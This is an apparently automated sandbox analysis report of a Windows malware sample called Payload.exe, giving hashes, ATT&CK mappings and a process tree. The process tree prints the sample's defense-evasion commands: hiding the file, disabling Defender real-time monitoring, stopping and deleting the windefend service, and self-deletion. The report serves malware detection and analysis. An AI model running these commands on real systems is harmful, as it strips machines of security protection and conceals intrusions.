ae7f9bb495a5054670f291e88e2a18c23e7dd8b4dc053454ec2878a68364fb30

Analysis

max time kernel
20s
max time network
21s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
03/12/2024, 08:54

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General

Target

Payload.exe
Size

55KB
MD5

231a235d2b656648a1562b3ddbbd818d
SHA1

52d676b7564f6c366ce3f8bb4a87fcbef2ce1884
SHA256

ae7f9bb495a5054670f291e88e2a18c23e7dd8b4dc053454ec2878a68364fb30
SHA512

03a75527ba8a097a75ab193abb525916559253b1c151fcaa8470a2f5306335863794d32ec48e59009e865c566f147aae5c8620b2ba0264111786f6a6b26b256e
SSDEEP

1536:11YADn8fLN2/SbxRDD3wsNMD7XExI3pm7m:AADnccqbTDD3wsNMD7XExI3pm

Score

8^/10

discovery evasion execution

Malware Config

Signatures

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2464	powershell.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2824	sc.exe
2872	sc.exe
2944	sc.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Payload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1520	cmd.exe
2340	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2340	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2464	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	2296	Payload.exe
Token: 33	2296	Payload.exe
Token: SeIncBasePriorityPrivilege	2296	Payload.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 2976	2296	Payload.exe	30
PID 2296 wrote to memory of 2976	2296	Payload.exe	30
PID 2296 wrote to memory of 2976	2296	Payload.exe	30
PID 2296 wrote to memory of 2976	2296	Payload.exe	30
PID 2296 wrote to memory of 2552	2296	Payload.exe	32
PID 2296 wrote to memory of 2552	2296	Payload.exe	32
PID 2296 wrote to memory of 2552	2296	Payload.exe	32
PID 2296 wrote to memory of 2552	2296	Payload.exe	32
PID 2552 wrote to memory of 2464	2552	cmd.exe	34
PID 2552 wrote to memory of 2464	2552	cmd.exe	34
PID 2552 wrote to memory of 2464	2552	cmd.exe	34
PID 2552 wrote to memory of 2464	2552	cmd.exe	34
PID 2296 wrote to memory of 2212	2296	Payload.exe	35
PID 2296 wrote to memory of 2212	2296	Payload.exe	35
PID 2296 wrote to memory of 2212	2296	Payload.exe	35
PID 2296 wrote to memory of 2212	2296	Payload.exe	35
PID 2212 wrote to memory of 2824	2212	cmd.exe	37
PID 2212 wrote to memory of 2824	2212	cmd.exe	37
PID 2212 wrote to memory of 2824	2212	cmd.exe	37
PID 2212 wrote to memory of 2824	2212	cmd.exe	37
PID 2296 wrote to memory of 2236	2296	Payload.exe	38
PID 2296 wrote to memory of 2236	2296	Payload.exe	38
PID 2296 wrote to memory of 2236	2296	Payload.exe	38
PID 2296 wrote to memory of 2236	2296	Payload.exe	38
PID 2236 wrote to memory of 2872	2236	cmd.exe	40
PID 2236 wrote to memory of 2872	2236	cmd.exe	40
PID 2236 wrote to memory of 2872	2236	cmd.exe	40
PID 2236 wrote to memory of 2872	2236	cmd.exe	40
PID 2296 wrote to memory of 2864	2296	Payload.exe	41
PID 2296 wrote to memory of 2864	2296	Payload.exe	41
PID 2296 wrote to memory of 2864	2296	Payload.exe	41
PID 2296 wrote to memory of 2864	2296	Payload.exe	41
PID 2864 wrote to memory of 2944	2864	cmd.exe	43
PID 2864 wrote to memory of 2944	2864	cmd.exe	43
PID 2864 wrote to memory of 2944	2864	cmd.exe	43
PID 2864 wrote to memory of 2944	2864	cmd.exe	43
PID 2296 wrote to memory of 580	2296	Payload.exe	45
PID 2296 wrote to memory of 580	2296	Payload.exe	45
PID 2296 wrote to memory of 580	2296	Payload.exe	45
PID 2296 wrote to memory of 580	2296	Payload.exe	45
PID 2296 wrote to memory of 1520	2296	Payload.exe	47
PID 2296 wrote to memory of 1520	2296	Payload.exe	47
PID 2296 wrote to memory of 1520	2296	Payload.exe	47
PID 2296 wrote to memory of 1520	2296	Payload.exe	47
PID 1520 wrote to memory of 2340	1520	cmd.exe	49
PID 1520 wrote to memory of 2340	1520	cmd.exe	49
PID 1520 wrote to memory of 2340	1520	cmd.exe	49
PID 1520 wrote to memory of 2340	1520	cmd.exe	49

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2976	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Payload.exe
"C:\Users\Admin\AppData\Local\Temp\Payload.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\SysWOW64\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\Temp\Payload.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:2976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2464
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc query windefend
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\SysWOW64\sc.exe
    sc query windefend
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc stop windefend
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\SysWOW64\sc.exe
    sc stop windefend
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete windefend
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Windows\SysWOW64\sc.exe
    sc delete windefend
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2944
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /delete /tn CleanSweepCheck /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:580
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c ping 0 -n 2 & del "C:\Users\Admin\AppData\Local\Temp\Payload.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\SysWOW64\PING.EXE
    ping 0 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Credential Access

Discovery

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

memory/2296-0-0x0000000074931000-0x0000000074932000-memory.dmp

Filesize
4KB

Download
memory/2296-1-0x0000000074930000-0x0000000074EDB000-memory.dmp

Filesize
5.7MB

Download
memory/2296-2-0x0000000074930000-0x0000000074EDB000-memory.dmp

Filesize
5.7MB

Download
memory/2296-5-0x0000000074930000-0x0000000074EDB000-memory.dmp

Filesize
5.7MB

Download
memory/2296-6-0x0000000074930000-0x0000000074EDB000-memory.dmp

Filesize
5.7MB

Download
memory/2296-7-0x0000000074930000-0x0000000074EDB000-memory.dmp

Filesize
5.7MB

Download